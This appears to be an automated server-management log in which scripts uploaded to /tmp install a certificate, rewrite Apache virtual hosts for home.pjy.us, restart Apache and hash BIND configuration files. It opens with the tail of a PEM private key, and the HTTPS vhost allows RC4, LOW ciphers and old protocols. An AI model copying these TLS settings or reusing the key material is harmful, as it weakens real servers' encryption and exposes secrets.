YFHDAXjyivBuLmoKXdqUf1XsKzS2KkCsUXc7sWBhAoGACVeC9Sm+RoAI/4nJC55z
1rxZgVHfmm/si9i7YrZ7Uc5lgmMRjz7+0mdKdpZdXuM7OvQS23PE2Kcu8tFom7lZ
p4p8lXQ2xoC3oXtEa3gAWqzbZnG23fdz0btCQhDz7pPMFQu+oJTonzv1ILkD4PmB
X8KSxQqkiflE11758a5GzTU=
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-06 10:24:47: 

chmod 755 /tmp/pkp445142; /tmp/pkp445142; rm /tmp/pkp445142

2026-05-06 10:24:47: 


dir=/etc/ssl/certs


2026-05-06 10:24:47: 

PUT: /tmp/pkp783973

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_home_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-06 10:24:47: 

chmod 755 /tmp/pkp783973; /tmp/pkp783973; rm /tmp/pkp783973

2026-05-06 10:24:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_home_us.conf 35

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2026-05-06 10:24:47: 

PUT: /tmp/pkp253683

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_home_us.conf
DOCROOT=/var/www/pjy_home
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/pjy
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf= 1'
fi


2026-05-06 10:24:47: 

chmod 755 /tmp/pkp253683; /tmp/pkp253683; rm /tmp/pkp253683

2026-05-06 10:24:47: 


chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf
file(/etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf= 1




STDERR:
chown: invalid user: ‘phil:phil’


2026-05-06 10:24:47: 

PUT: /tmp/pkp334353

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-06 10:24:47: 

chmod 755 /tmp/pkp334353; /tmp/pkp334353; rm /tmp/pkp334353

2026-05-06 10:24:48: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-06 10:24:48: Establishing a connection
2026-05-06 10:24:48: 

PUT: /tmp/pkp593948

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:24:48: 

runuser -l bind -s /bin/bash -c '/tmp/pkp593948; rm /tmp/pkp593948'

2026-05-06 10:24:48: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:25:01: Establishing a connection
2026-05-06 10:25:02: 

PUT: /tmp/pkp826368

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_home_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-06 10:25:02: 

chmod 755 /tmp/pkp826368; /tmp/pkp826368; rm /tmp/pkp826368

2026-05-06 10:25:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_home_us.conf 35

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2026-05-06 10:25:02: 

PUT: /tmp/pkp300064

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_home_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt
